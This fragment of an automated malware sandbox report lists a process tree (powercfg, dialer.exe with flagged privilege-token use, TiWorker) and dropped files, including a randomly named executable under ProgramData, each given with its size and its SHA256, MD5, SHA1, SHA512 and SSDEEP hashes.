C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1776
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3304
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:552
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4128
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:5012
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
- Size 6.8MB
- SHA256 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6
- MD5 eeaecc3b9fbf9b4c73121003d75375bb
- SHA1 4ccf75ba953cf9eeef0a682fc9d39e52787288aa
- SHA512 76ee0da02ab562709743a81e03bfaf277446ee2393cbe1e20c967434c85c34756031680283cfd0c356538494adbb158a01200c7749568cab0c5a59267faf6650
- SSDEEP 196608:3P+jtixYCSOXEwnExyzjbDFAswiaJxvmk0D:3P+8xlreujbRA7/xe
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kyy1bcyj.stk.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512